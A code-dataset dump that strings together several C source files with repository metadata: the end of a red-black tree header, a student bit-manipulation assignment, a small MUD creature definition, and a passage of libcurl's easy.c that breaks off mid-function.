void rbt_thread_data_print(void *thread_data);
void rbt_thread_data_add(void *d1, void *d2, void *dst);
//> Thread-safe interface functions.
//> Can handle multiple threads at the same time and produce correct results.
//> XXX: the 'serial' versions are not thread-safe and are provided only for
//> testing that an error is produced while called by multiple threads.
int rbt_lookup(void *rbt, void *thread_data, int key);
int rbt_insert(void *rbt, void *thread_data, int key, void *value);
int rbt_delete(void *rbt, void *thread_data, int key);
//int rbt_lookup(void *rbt, void *thread_data, char *key);
//int rbt_insert(void *rbt, void *thread_data, char *key, void *value);
//int rbt_delete(void *rbt, void *thread_data, char *key);
int rbt_print(void *rbt);
#endif /* _RBT_IFACE_H_ */
| [
"jimsiak@cslab.ece.ntua.gr"
] | jimsiak@cslab.ece.ntua.gr |
efea4d193648acd2996f075defbaae80fd914a83 | 56e7206c4545bd84f1a15a768edbcbbf8919a372 | /training folders backup/c/assignments/assn_1/assn1.c | 98286cb273b4dbe4f3cceae70de1512371c89c59 | [] | no_license | tulsishankarreddy/repository_training | 826d2204d26d1b1b6e5d39f32c1bfc4d6514a618 | 9cc68be51a8b145e605ceacab2627ffdcab393d7 | refs/heads/master | 2020-11-27T18:51:53.375192 | 2019-12-15T15:08:58 | 2019-12-15T15:08:58 | 229,568,234 | 1 | 0 | null | 2019-12-22T12:58:20 | 2019-12-22T12:58:19 | null | UTF-8 | C | false | false | 14,419 | c | #include <stdio.h>
extern void showbits (int num);
int exp1 (void);
int pro2 (void);
int exp3 (void);
int exp4 (void);
int exp5 (void);
int exp6 (void);
int exp7 (void);
int exp8 (void);
int exp9 (void);
int pro10 (void);
int exp11 (void);
int exp12 (void);
int pro13 (void);
int pro14 (void);
int pro15 (void);
int pro16 (void);
int pro17 (void);
int pro18 (void);
int pro19 (void);
int bit_swap (int, int, int);
int bit_copy (int, int, int, int, int);
int even_bit_toggle (int);
int odd_bit_toggle (int);
unsigned int left_rotate_bits (unsigned int);
unsigned int right_rotate_bits (unsigned int);
unsigned int left_rotate_n_bits (unsigned int, int);
unsigned int right_rotate_n_bits (unsigned int, int);
int cnt_trailing_set_bits (int);
int cnt_trailing_clear_bits (int);
int cnt_leading_set_bits (int);
int cnt_leading_clear_bits (int);
int setbits (int, int, int, int);
int invert (int, int, int);
int main (void)
{
int choice;
char check = 'y';
while (check == 'y') {
printf( "\n MENU \n\n"
"1-swaping the bits in a number\n"
"2-swaping the bits of 2 numbers\n"
"3-swaping a set of bits from source to destination\n"
"4-toggle even bits and odd bits\n"
"5-test and setting bit position in a number\n"
"6- Rotation of bits\n"
"7-count number of set and cleared bits\n"
"8-count leading and trailling set and clear bits\n"
"9-Toggling bits from s to d\n"
"10-setbits (x, p, n ,y)\n"
"11-invert(x, p, n)\n"
"12-getbits (x, p, n)\n"
"13-maximum of 2 numbers using bitwise operations\n"
"14-clear the right most set bit\n"
"15-clear the left most setbit\n"
"16-set the right most clear bit\n"
"17-set the left most clear bit\n"
"18-setting bits from position s to d and clear rest\n");
printf("\nenter your chioce:");
scanf ("%d", &choice);
switch (choice) {
case 1:
exp1();
break;
case 2:
pro2();
break;
case 3:
exp3();
break;
case 4:
exp4();
break;
case 5:
exp5();
break;
case 6:
exp6();
break;
case 7:
exp7();
break;
case 8:
exp8();
break;
case 9:
exp9();
break;
case 10:
pro10();
break;
case 11:
exp11();
break;
case 12:
exp12();
break;
case 13:
pro13();
break;
case 14:
pro14();
break;
case 15:
pro15();
break;
case 16:
pro16();
break;
case 17:
pro17();
break;
case 18:
pro18();
break;
case 19:
pro19();
break;
default:
printf("\ninvalid input");
}
check = '0';
while (1) {
if (check == 'y' || check == 'n') {
break;
}
printf("\nDo you want to continue (y/n):");
scanf(" %c", &check);
}
}
return 0;
}
int exp1 (void)
{
int n;
int s;
int d;
printf ("enter the number :");
scanf ("%d",&n);
printf ("\nenter the source bit postion:");
scanf ("%d",&s);
printf ("\nenter the destination bit postion:");
scanf ("%d",&d);
printf ("\nbinary representation before swapping:\n");
showbits (n);
n = bit_swap (n, s, d);
printf ("\nbinary representation after swapping:\n");
showbits (n);
return 0;
}
int bit_swap (int n, int s, int d)
{
int src_bit;
int des_bit;
src_bit = (n >> (s - 1)) & 1;
src_bit = (src_bit << (d-1));
des_bit = (n>> (d-1)) & 1;
des_bit = (des_bit << (s-1));
n = n & ( ~(1 << (s-1)));
n = n & (~ (1 << (d-1)));
n = n | src_bit;
n = n | des_bit;
return n;
}
int pro2 (void)
{
int snum;
int dnum;
int s;
int d;
int src_bit;
int des_bit;
printf("enter the source number :");
scanf("%d", &snum);
printf("\nenter the destination number :");
scanf("%d", &dnum);
printf("\nenter the source bit postion :");
scanf("%d", &s);
printf("\nenter the destination bit postion :");
scanf("%d", &d);
printf("\nbinary representation of source number before swapping:");
showbits (snum);
printf("\nbinary representation of destination number before swapping:\n");
showbits (dnum);
src_bit = (snum >> (s - 1)) & 1;
src_bit = (src_bit << (d - 1));
des_bit = (dnum >> (d - 1)) & 1;
des_bit = (des_bit << (s - 1));
snum = snum & (~ (1 << (s - 1)));
dnum = dnum & (~ (1 << (d - 1)));
dnum = dnum | src_bit;
snum = snum | des_bit;
printf ("\nbinary representation of source number after swapping:\n");
showbits (snum);
printf ("\nbinary representation of destination number after swapping:\n");
showbits (dnum);
return 0;
}
int exp3 (void)
{
int snum;
int dnum;
int s;
int d;
int n;
printf ("enter the source number :");
scanf ("%d", &snum);
printf ("\nenter the destination number:");
scanf ("%d", &dnum);
printf ("\nenter the source bit postion:");
scanf ("%d", &s);
printf ("\nenter the destination bit postion:");
scanf ("%d", &d);
printf ("\nenter the number of bits to be copied:");
scanf ("%d", &n);
printf ("\nbinary representation of source number\n");
showbits (snum);
printf ("\nbinary representation of destination number\n");
showbits (dnum);
printf ("\nbinary represntation of dnum after copying\n");
showbits (bit_copy (snum, dnum, n, s, d ));
return 0;
}
int bit_copy (int snum, int dnum, int n, int s, int d)
{
snum = ((snum & ((~ (~ 0 << n)) << (s - n))) >> (s - n)) << (d -1);
dnum = (dnum & ~ ( (~(~ 0 << n)) << (d - n))) | snum;
return dnum;
}
int exp4 (void)
{
int num;
printf ("enter the number:");
scanf ("%d", &num);
printf ("\nthe number before toggling\n");
showbits (num);
printf ("\nthe number after even toggling is:\n");
showbits (even_bit_toggle (num));
printf ("\n the number after odd bits toggling is:\n");
showbits (odd_bit_toggle (num));
return 0;
}
int even_bit_toggle (int num)
{
int key = 2;
while ( key ) {
num = num ^ key;
key = key << 2;
}
return num;
}
int odd_bit_toggle (int num)
{
int key = 1;
while (key) {
num = num ^ key;
key = key << 2;
}
return num;
}
#define bit_ts(num,pos) \
(((num >> (pos - 1)) & 1) ? showbits(num) : showbits(num | (1 << (pos-1))));
int exp5 (void)
{
int num;
int pos;
printf ("enter the number");
scanf ("%d", &num);
printf ("\nenter the postion :");
scanf ("%d", &pos);
printf ("\nnumber before setting is:\n");
showbits (num);
printf ("\nnumber after setting is:\n");
bit_ts (num, pos);
return 0;
}
unsigned int left_rotate_bits (unsigned int num)
{
num = num << 1 | num >> (sizeof(int) * 8 - 1);
return num;
}
unsigned int right_rotate_bits (unsigned int num)
{
num = num << (sizeof(int) * 8 - 1) | num >> 1;
return num;
}
unsigned int left_rotate_n_bits (unsigned int num, int n)
{
num = num << n | (num >> (sizeof(int) * 8 - n));
return num;
}
unsigned int right_rotate_n_bits (unsigned int num, int n)
{
num = num << (sizeof(int) * 8 - n) | num >> n ;
return num;
}
int exp6 (void)
{
unsigned int num;
int n;
printf ("enter the number:");
scanf ("%d", &num);
printf ("\nnumber of times the bits to be rotated");
scanf ("%d", &n);
printf ("\nthe number before rotating\n");
showbits (num);
printf ("\nnumber after right rotating:\n");
showbits (right_rotate_bits (num) );
printf ("\nnumber after left rotating:\n");
showbits (left_rotate_bits (num) );
printf ("\nnumber after left rotating %d times:\n", n);
showbits (left_rotate_n_bits (num, n) );
printf ("\nnumber after right rotating %d times:\n", n);
showbits (right_rotate_n_bits (num, n) );
return 0;
}
int count_set_bits (int num)
{
int count = 0;
while (num) {
if (num & 1)
count ++;
num >>= 1;
}
return count;
}
int count_clear_bits (int num)
{
int count = 0;
while (num) {
if (num & 1)
count ++;
num >>= 1;
}
count = sizeof(int) * 8 - count ;
return count;
}
int exp7 (void)
{
int num;
printf ("enter the number:");
scanf ("%d", &num);
printf ("\nnumber of set bits are :%d", count_set_bits (num));
printf ("\nnumber of cleared bits are : %d\n", count_clear_bits (num));
return 0;
}
int exp8 (void)
{
int n;
printf ("enter the number:");
scanf ("%d", &n);
showbits (n);
printf("\nnumber of trailing set bits are:%d", cnt_trailing_set_bits(n));
printf("\nnumber of trailing "
"clear bits are:%d", cnt_trailing_clear_bits(n));
printf("\nnumber of leading set bits are:%d", cnt_leading_set_bits(n));
printf("\nnumber of leading"
" clear bits are:%d\n", cnt_leading_clear_bits(n));
return 0;
}
int cnt_trailing_set_bits (int num)
{
int count = 0;
while (num & 1 ) {
count ++;
num >>= 1;
}
return count;
}
int cnt_trailing_clear_bits (int num)
{
int key = 1;
int count = 0;
while ((num & key) == 0 ) {
count ++;
key <<= 1;
if (count > (sizeof(int) * 8) - 1)
break;
}
return count;
}
int cnt_leading_set_bits (int num)
{
unsigned int key = 1;
int count = 0;
key <<= (sizeof(int) * 8 - 1);
while (num & key) {
count ++;
key >>= 1;
}
return count;
}
int cnt_leading_clear_bits (int num)
{
unsigned int key = 1;
int count = 0;
key <<= (sizeof(int) * 8 - 1);
while (!(num & key)) {
count ++;
key >>= 1;
}
return count;
}
int pro10 (void)
{
int x;
int p;
int n;
int y;
printf ("enter the number x:");
scanf ("%d", &x);
printf ("\nenter the postion:");
scanf ("%d", &p);
printf ("\nenter the number of bits :");
scanf ("%d", &n);
printf ("\nenter the number y:");
scanf ("%d", &y);
printf("\nnumber x before modification");
showbits (x);
printf("\nnumber y before modification");
showbits (y);
printf("\nnumber y after modification");
showbits (setbits (x, p, n, y));
return 0;
}
int setbits (int x, int p, int n, int y)
{
x = ((x >> (p - n)) & ~ (~0 << n)) << ((sizeof(int) * 8 - n));
y = y & ~ (0 >> n);
x = x | y;
return x;
}
int exp11(void)
{
int n;
int x;
int p;
printf ("enter the number:");
scanf ("%d", &x);
printf ("\nenter the positon:");
scanf ("%d", &p);
printf ("\nenter the number of bits:");
scanf ("%d", &n);
printf ("\nnumber before inverting :");
showbits (x);
printf ("\nnumber after inverting bits:" );
showbits (invert (x, p, n));
return 0;
}
int invert(int x, int p, int n)
{
int y = 0;
int i;
for(i = 0; i < n; i++) {
y = ((x & (1U << ((p - 1) + i))) | (y << 2));
x = ((x & (~(1U << ((p - 1) + i)))));
}
y = (y >> (n - 1));
return (x | y);
}
#define getbits(x, p, n) (x & (~ (~ 0 << n) << (p - 1))) >> (p -1)
int exp12 (void)
{
int x;
int p;
int n;
printf ("enter the number x:");
scanf("%d", &x);
printf ("\n enter the postion p:");
scanf ("%d", &p);
printf ("\nenter the number of bits n:");
scanf ("%d", &n);
showbits (x);
x = getbits(x, p, n);
printf("%d\n", x);
showbits (x);
return 0;
}
// macro for finding max of two numbers
#define max(a,b) { for(i=0;i<=31;i++) { if(((a>>i)&1)==0 && ((b>>i)&1)==1 ) \
{ max=b; } if(((a>>i)&1)==1&&((b>>i)&1)==0){max=a;} }}
int pro13 (void)
{
int a;
int b;
int max;
int i;
printf ("\nenter number a: ");
scanf("%d", &a);
printf ("\nenter number b: ");
scanf("%d", &b);
max(a,b);
printf ("\nmaximum of two numbers");
printf("%d\n",max);
return 0;
}
// macro for clearing right most set bit
#define rmsb_clear(n) ((n) & (n - 1))
int pro14(void)
{
int n;
printf ("\nEnter the number:");
scanf("%d", &n);
printf ("\nbits in number before clearing right most set bit:\n");
showbits (n);
n = rmsb_clear (n);
printf ("\nbits in number before after right most set bit:\n");
showbits (n);
return 0;
}
// macro for clearing left most set bit
#define lmsb_clear(n) { for(i=0;i<=31;i++) { m=(n>>i)&1; if (m==1) { n=n&~(1<<i); break;}} }
int pro15(void)
{
int n;
int i;
int m;
printf("\enter the number n:");
scanf("%d", &n);
showbits (n);
lmsb_clear (n);
showbits (n);
return 0;
}
// macro for setting right most clear bit
#define rmcb_set(n) (n) | (n + 1)
int pro16(void)
{
unsigned int n;
printf("\nEnter the number n:");
scanf("%d", &n);
printf ("\nNumber before setting rightmost clear bit");
showbits (n);
n = rmcb_set (n);
printf ("\nNumber after setting rightmost clear bit");
showbits (n);
return 0;
}
#define lmcb_set(n) { for(i=0;i<=31;i++) { m=(n>>i)&1; if (m==0) { n=n|(1<<i); break;}} }
int pro17 (void)
{
unsigned int n;
unsigned int i;
unsigned int m;
printf("\n enter the number:");
scanf("%d",&n);
showbits(n);
lmcb_set(n);
showbits(n);
return 0;
}
//setting bits from position s to position d in a number and clear rest
#define set_std(n,s,d) { for(i=0;i<=31;i++) { if(i >= s - 1 && i <= d - 1 ) n=n|(1<<i); else n=n&~(1<<i); } }
int pro18 (void)
{
int n;
int s;
int d;
int i;
printf("\nenter the number:");
scanf ("%d", &n);
printf("\nenter the source s:");
scanf ("%d", &s);
printf("\nenter the destination d:");
scanf("%d", &d);
showbits(n);
set_std(n,s,d);
showbits(n);
return 0;
}
// clearing bits from position s to d in a number and set the rest
#define clear_std(n,s,d) { for(i=0;i<=31;i++) { if(i>=s-1 && i<=d-1 ) n=n&~(1<<i); else n=n|(1<<i); } }
int pro19 (void)
{
int n;
int s;
int d;
int i;
scanf("%d %d %d",&n,&s,&d);
showbits(n);
clear_std(n,s,d);
showbits(n);
return 0;
}
// toggling bits from s to d and remaining unchanged
#define toggle_std(n,s,d) { for(i=s-1;i<=d-1;i++) { n=n^(1<<i); } }
int exp9(void)
{
int n;
int s;
int d;
int i;
printf("\nenter the number n:");
scanf("%d", &n);
printf("\nenter the source s:");
scanf ("%d", &s);
printf("\nenter the destination d:");
scanf("%d", &d );
showbits(n);
toggle_std(n,s,d);
showbits( n );
return 0;
}
| [
"vijaykarthik52@gmail.com"
] | vijaykarthik52@gmail.com |
d81a312d3b5e8ed74dd17034cb0801327ccc5fde | c425afb8bb6b182168fd4c3a46c9b334f4740e60 | /data/warcraft/rrrooo.c | d627d64bd3e5fe607eeaac74cfbc3364930cc32c | [] | no_license | fluffos/nt7 | ceef82b2465cf322549c7ece6ce757eaa8ec31ff | 52727f5a4266b14f1796c2aa297ca645ca07282a | refs/heads/main | 2023-06-17T10:07:33.000534 | 2021-07-15T11:15:05 | 2021-07-15T11:15:05 | 308,148,401 | 9 | 9 | null | 2021-06-28T14:11:57 | 2020-10-28T21:45:40 | C | UTF-8 | C | false | false | 493 | c | // warcraft.c
#include "/clone/npc/warcraft.h"
void setup()
{
set_name("小马[2;37;0m[2;37;0m", ({"rrroooma"}));
set("gender", "男性");
set("long", "小马[2;37;0m
它是江一的魔幻兽。
");
set("race_type", "麒麟");
set("magic/type", "earth");
set("owner", "rrrooo");
set("owner_name", "江一");
set_temp("owner", "rrrooo");
set_temp("owner_name", "江一");
::setup();
}
| [
"i@oiuv.cn"
] | i@oiuv.cn |
f750d8535c37262fe876e241687d5d84f7102a37 | 5c401ec9019d76e1795cf45e1891016b55dce7f9 | /build/curl/curl-7.64.0/lib/easy.c | b61c80e1a23c3fcba72900d6736ada7d290fd55a | [
"curl"
] | permissive | bmjoy/curl-unity | 298b4175e539923115854bf6b087ebb4b3e75f7a | cc01be5eccd6677b620db4cf9dc6cd75713b7bf4 | refs/heads/master | 2020-08-17T17:13:49.433751 | 2019-10-16T08:32:27 | 2019-10-16T08:32:27 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 33,158 | c | /***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) 1998 - 2019, Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.haxx.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
***************************************************************************/
#include "curl_setup.h"
/*
* See comment in curl_memory.h for the explanation of this sanity check.
*/
#ifdef CURLX_NO_MEMORY_CALLBACKS
#error "libcurl shall not ever be built with CURLX_NO_MEMORY_CALLBACKS defined"
#endif
#ifdef HAVE_NETINET_IN_H
#include <netinet/in.h>
#endif
#ifdef HAVE_NETDB_H
#include <netdb.h>
#endif
#ifdef HAVE_ARPA_INET_H
#include <arpa/inet.h>
#endif
#ifdef HAVE_NET_IF_H
#include <net/if.h>
#endif
#ifdef HAVE_SYS_IOCTL_H
#include <sys/ioctl.h>
#endif
#ifdef HAVE_SYS_PARAM_H
#include <sys/param.h>
#endif
#include "urldata.h"
#include <curl/curl.h>
#include "transfer.h"
#include "vtls/vtls.h"
#include "url.h"
#include "getinfo.h"
#include "hostip.h"
#include "share.h"
#include "strdup.h"
#include "progress.h"
#include "easyif.h"
#include "multiif.h"
#include "select.h"
#include "sendf.h" /* for failf function prototype */
#include "connect.h" /* for Curl_getconnectinfo */
#include "slist.h"
#include "mime.h"
#include "amigaos.h"
#include "non-ascii.h"
#include "warnless.h"
#include "multiif.h"
#include "sigpipe.h"
#include "ssh.h"
#include "setopt.h"
#include "http_digest.h"
/* The last 3 #include files should be in this order */
#include "curl_printf.h"
#include "curl_memory.h"
#include "memdebug.h"
void Curl_version_init(void);
/* win32_cleanup() is for win32 socket cleanup functionality, the opposite
of win32_init() */
static void win32_cleanup(void)
{
#ifdef USE_WINSOCK
WSACleanup();
#endif
#ifdef USE_WINDOWS_SSPI
Curl_sspi_global_cleanup();
#endif
}
/* win32_init() performs win32 socket initialization to properly setup the
stack to allow networking */
static CURLcode win32_init(void)
{
#ifdef USE_WINSOCK
WORD wVersionRequested;
WSADATA wsaData;
int res;
#if defined(ENABLE_IPV6) && (USE_WINSOCK < 2)
Error IPV6_requires_winsock2
#endif
wVersionRequested = MAKEWORD(USE_WINSOCK, USE_WINSOCK);
res = WSAStartup(wVersionRequested, &wsaData);
if(res != 0)
/* Tell the user that we couldn't find a usable */
/* winsock.dll. */
return CURLE_FAILED_INIT;
/* Confirm that the Windows Sockets DLL supports what we need.*/
/* Note that if the DLL supports versions greater */
/* than wVersionRequested, it will still return */
/* wVersionRequested in wVersion. wHighVersion contains the */
/* highest supported version. */
if(LOBYTE(wsaData.wVersion) != LOBYTE(wVersionRequested) ||
HIBYTE(wsaData.wVersion) != HIBYTE(wVersionRequested) ) {
/* Tell the user that we couldn't find a usable */
/* winsock.dll. */
WSACleanup();
return CURLE_FAILED_INIT;
}
/* The Windows Sockets DLL is acceptable. Proceed. */
#elif defined(USE_LWIPSOCK)
lwip_init();
#endif
#ifdef USE_WINDOWS_SSPI
{
CURLcode result = Curl_sspi_global_init();
if(result)
return result;
}
#endif
return CURLE_OK;
}
/* true globals -- for curl_global_init() and curl_global_cleanup() */
static unsigned int initialized;
static long init_flags;
/*
* strdup (and other memory functions) is redefined in complicated
* ways, but at this point it must be defined as the system-supplied strdup
* so the callback pointer is initialized correctly.
*/
#if defined(_WIN32_WCE)
#define system_strdup _strdup
#elif !defined(HAVE_STRDUP)
#define system_strdup curlx_strdup
#else
#define system_strdup strdup
#endif
#if defined(_MSC_VER) && defined(_DLL) && !defined(__POCC__)
# pragma warning(disable:4232) /* MSVC extension, dllimport identity */
#endif
#ifndef __SYMBIAN32__
/*
* If a memory-using function (like curl_getenv) is used before
* curl_global_init() is called, we need to have these pointers set already.
*/
curl_malloc_callback Curl_cmalloc = (curl_malloc_callback)malloc;
curl_free_callback Curl_cfree = (curl_free_callback)free;
curl_realloc_callback Curl_crealloc = (curl_realloc_callback)realloc;
curl_strdup_callback Curl_cstrdup = (curl_strdup_callback)system_strdup;
curl_calloc_callback Curl_ccalloc = (curl_calloc_callback)calloc;
#if defined(WIN32) && defined(UNICODE)
curl_wcsdup_callback Curl_cwcsdup = (curl_wcsdup_callback)_wcsdup;
#endif
#else
/*
* Symbian OS doesn't support initialization to code in writable static data.
* Initialization will occur in the curl_global_init() call.
*/
curl_malloc_callback Curl_cmalloc;
curl_free_callback Curl_cfree;
curl_realloc_callback Curl_crealloc;
curl_strdup_callback Curl_cstrdup;
curl_calloc_callback Curl_ccalloc;
#endif
#if defined(_MSC_VER) && defined(_DLL) && !defined(__POCC__)
# pragma warning(default:4232) /* MSVC extension, dllimport identity */
#endif
/**
* curl_global_init() globally initializes curl given a bitwise set of the
* different features of what to initialize.
*/
static CURLcode global_init(long flags, bool memoryfuncs)
{
if(initialized++)
return CURLE_OK;
if(memoryfuncs) {
/* Setup the default memory functions here (again) */
Curl_cmalloc = (curl_malloc_callback)malloc;
Curl_cfree = (curl_free_callback)free;
Curl_crealloc = (curl_realloc_callback)realloc;
Curl_cstrdup = (curl_strdup_callback)system_strdup;
Curl_ccalloc = (curl_calloc_callback)calloc;
#if defined(WIN32) && defined(UNICODE)
Curl_cwcsdup = (curl_wcsdup_callback)_wcsdup;
#endif
}
if(!Curl_ssl_init()) {
DEBUGF(fprintf(stderr, "Error: Curl_ssl_init failed\n"));
return CURLE_FAILED_INIT;
}
if(flags & CURL_GLOBAL_WIN32)
if(win32_init()) {
DEBUGF(fprintf(stderr, "Error: win32_init failed\n"));
return CURLE_FAILED_INIT;
}
#ifdef __AMIGA__
if(!Curl_amiga_init()) {
DEBUGF(fprintf(stderr, "Error: Curl_amiga_init failed\n"));
return CURLE_FAILED_INIT;
}
#endif
#ifdef NETWARE
if(netware_init()) {
DEBUGF(fprintf(stderr, "Warning: LONG namespace not available\n"));
}
#endif
if(Curl_resolver_global_init()) {
DEBUGF(fprintf(stderr, "Error: resolver_global_init failed\n"));
return CURLE_FAILED_INIT;
}
(void)Curl_ipv6works();
#if defined(USE_LIBSSH2) && defined(HAVE_LIBSSH2_INIT)
if(libssh2_init(0)) {
DEBUGF(fprintf(stderr, "Error: libssh2_init failed\n"));
return CURLE_FAILED_INIT;
}
#endif
#if defined(USE_LIBSSH)
if(ssh_init()) {
DEBUGF(fprintf(stderr, "Error: libssh_init failed\n"));
return CURLE_FAILED_INIT;
}
#endif
if(flags & CURL_GLOBAL_ACK_EINTR)
Curl_ack_eintr = 1;
init_flags = flags;
Curl_version_init();
return CURLE_OK;
}
/**
* curl_global_init() globally initializes curl given a bitwise set of the
* different features of what to initialize.
*/
CURLcode curl_global_init(long flags)
{
return global_init(flags, TRUE);
}
/*
* curl_global_init_mem() globally initializes curl and also registers the
* user provided callback routines.
*/
CURLcode curl_global_init_mem(long flags, curl_malloc_callback m,
curl_free_callback f, curl_realloc_callback r,
curl_strdup_callback s, curl_calloc_callback c)
{
/* Invalid input, return immediately */
if(!m || !f || !r || !s || !c)
return CURLE_FAILED_INIT;
if(initialized) {
/* Already initialized, don't do it again, but bump the variable anyway to
work like curl_global_init() and require the same amount of cleanup
calls. */
initialized++;
return CURLE_OK;
}
/* set memory functions before global_init() in case it wants memory
functions */
Curl_cmalloc = m;
Curl_cfree = f;
Curl_cstrdup = s;
Curl_crealloc = r;
Curl_ccalloc = c;
/* Call the actual init function, but without setting */
return global_init(flags, FALSE);
}
/**
* curl_global_cleanup() globally cleanups curl, uses the value of
* "init_flags" to determine what needs to be cleaned up and what doesn't.
*/
void curl_global_cleanup(void)
{
if(!initialized)
return;
if(--initialized)
return;
Curl_global_host_cache_dtor();
Curl_ssl_cleanup();
Curl_resolver_global_cleanup();
if(init_flags & CURL_GLOBAL_WIN32)
win32_cleanup();
Curl_amiga_cleanup();
#if defined(USE_LIBSSH2) && defined(HAVE_LIBSSH2_EXIT)
(void)libssh2_exit();
#endif
#if defined(USE_LIBSSH)
(void)ssh_finalize();
#endif
init_flags = 0;
}
/*
* curl_easy_init() is the external interface to alloc, setup and init an
* easy handle that is returned. If anything goes wrong, NULL is returned.
*/
struct Curl_easy *curl_easy_init(void)
{
CURLcode result;
struct Curl_easy *data;
/* Make sure we inited the global SSL stuff */
if(!initialized) {
result = curl_global_init(CURL_GLOBAL_DEFAULT);
if(result) {
/* something in the global init failed, return nothing */
DEBUGF(fprintf(stderr, "Error: curl_global_init failed\n"));
return NULL;
}
}
/* We use curl_open() with undefined URL so far */
result = Curl_open(&data);
if(result) {
DEBUGF(fprintf(stderr, "Error: Curl_open failed\n"));
return NULL;
}
return data;
}
#ifdef CURLDEBUG
struct socketmonitor {
struct socketmonitor *next; /* the next node in the list or NULL */
struct pollfd socket; /* socket info of what to monitor */
};
struct events {
long ms; /* timeout, run the timeout function when reached */
bool msbump; /* set TRUE when timeout is set by callback */
int num_sockets; /* number of nodes in the monitor list */
struct socketmonitor *list; /* list of sockets to monitor */
int running_handles; /* store the returned number */
};
/* events_timer
*
* Callback that gets called with a new value when the timeout should be
* updated.
*/
static int events_timer(struct Curl_multi *multi, /* multi handle */
long timeout_ms, /* see above */
void *userp) /* private callback pointer */
{
struct events *ev = userp;
(void)multi;
if(timeout_ms == -1)
/* timeout removed */
timeout_ms = 0;
else if(timeout_ms == 0)
/* timeout is already reached! */
timeout_ms = 1; /* trigger asap */
ev->ms = timeout_ms;
ev->msbump = TRUE;
return 0;
}
/* poll2cselect
*
* convert from poll() bit definitions to libcurl's CURL_CSELECT_* ones
*/
static int poll2cselect(int pollmask)
{
int omask = 0;
if(pollmask & POLLIN)
omask |= CURL_CSELECT_IN;
if(pollmask & POLLOUT)
omask |= CURL_CSELECT_OUT;
if(pollmask & POLLERR)
omask |= CURL_CSELECT_ERR;
return omask;
}
/* socketcb2poll
*
* convert from libcurl' CURL_POLL_* bit definitions to poll()'s
*/
static short socketcb2poll(int pollmask)
{
short omask = 0;
if(pollmask & CURL_POLL_IN)
omask |= POLLIN;
if(pollmask & CURL_POLL_OUT)
omask |= POLLOUT;
return omask;
}
/* events_socket
*
* Callback that gets called with information about socket activity to
* monitor.
*/
static int events_socket(struct Curl_easy *easy, /* easy handle */
curl_socket_t s, /* socket */
int what, /* see above */
void *userp, /* private callback
pointer */
void *socketp) /* private socket
pointer */
{
struct events *ev = userp;
struct socketmonitor *m;
struct socketmonitor *prev = NULL;
#if defined(CURL_DISABLE_VERBOSE_STRINGS)
(void) easy;
#endif
(void)socketp;
m = ev->list;
while(m) {
if(m->socket.fd == s) {
if(what == CURL_POLL_REMOVE) {
struct socketmonitor *nxt = m->next;
/* remove this node from the list of monitored sockets */
if(prev)
prev->next = nxt;
else
ev->list = nxt;
free(m);
m = nxt;
infof(easy, "socket cb: socket %d REMOVED\n", s);
}
else {
/* The socket 's' is already being monitored, update the activity
mask. Convert from libcurl bitmask to the poll one. */
m->socket.events = socketcb2poll(what);
infof(easy, "socket cb: socket %d UPDATED as %s%s\n", s,
what&CURL_POLL_IN?"IN":"",
what&CURL_POLL_OUT?"OUT":"");
}
break;
}
prev = m;
m = m->next; /* move to next node */
}
if(!m) {
if(what == CURL_POLL_REMOVE) {
/* this happens a bit too often, libcurl fix perhaps? */
/* fprintf(stderr,
"%s: socket %d asked to be REMOVED but not present!\n",
__func__, s); */
}
else {
m = malloc(sizeof(struct socketmonitor));
if(m) {
m->next = ev->list;
m->socket.fd = s;
m->socket.events = socketcb2poll(what);
m->socket.revents = 0;
ev->list = m;
infof(easy, "socket cb: socket %d ADDED as %s%s\n", s,
what&CURL_POLL_IN?"IN":"",
what&CURL_POLL_OUT?"OUT":"");
}
else
return CURLE_OUT_OF_MEMORY;
}
}
return 0;
}
/*
* events_setup()
*
* Do the multi handle setups that only event-based transfers need.
*/
static void events_setup(struct Curl_multi *multi, struct events *ev)
{
/* timer callback */
curl_multi_setopt(multi, CURLMOPT_TIMERFUNCTION, events_timer);
curl_multi_setopt(multi, CURLMOPT_TIMERDATA, ev);
/* socket callback */
curl_multi_setopt(multi, CURLMOPT_SOCKETFUNCTION, events_socket);
curl_multi_setopt(multi, CURLMOPT_SOCKETDATA, ev);
}
/* wait_or_timeout()
*
* waits for activity on any of the given sockets, or the timeout to trigger.
*/
static CURLcode wait_or_timeout(struct Curl_multi *multi, struct events *ev)
{
bool done = FALSE;
CURLMcode mcode = CURLM_OK;
CURLcode result = CURLE_OK;
while(!done) {
CURLMsg *msg;
struct socketmonitor *m;
struct pollfd *f;
struct pollfd fds[4];
int numfds = 0;
int pollrc;
int i;
struct curltime before;
struct curltime after;
/* populate the fds[] array */
for(m = ev->list, f = &fds[0]; m; m = m->next) {
f->fd = m->socket.fd;
f->events = m->socket.events;
f->revents = 0;
/* fprintf(stderr, "poll() %d check socket %d\n", numfds, f->fd); */
f++;
numfds++;
}
/* get the time stamp to use to figure out how long poll takes */
before = Curl_now();
/* wait for activity or timeout */
pollrc = Curl_poll(fds, numfds, (int)ev->ms);
after = Curl_now();
ev->msbump = FALSE; /* reset here */
if(0 == pollrc) {
/* timeout! */
ev->ms = 0;
/* fprintf(stderr, "call curl_multi_socket_action(TIMEOUT)\n"); */
mcode = curl_multi_socket_action(multi, CURL_SOCKET_TIMEOUT, 0,
&ev->running_handles);
}
else if(pollrc > 0) {
/* loop over the monitored sockets to see which ones had activity */
for(i = 0; i< numfds; i++) {
if(fds[i].revents) {
/* socket activity, tell libcurl */
int act = poll2cselect(fds[i].revents); /* convert */
infof(multi->easyp, "call curl_multi_socket_action(socket %d)\n",
fds[i].fd);
mcode = curl_multi_socket_action(multi, fds[i].fd, act,
&ev->running_handles);
}
}
if(!ev->msbump) {
/* If nothing updated the timeout, we decrease it by the spent time.
* If it was updated, it has the new timeout time stored already.
*/
timediff_t timediff = Curl_timediff(after, before);
if(timediff > 0) {
if(timediff > ev->ms)
ev->ms = 0;
else
ev->ms -= (long)timediff;
}
}
}
else
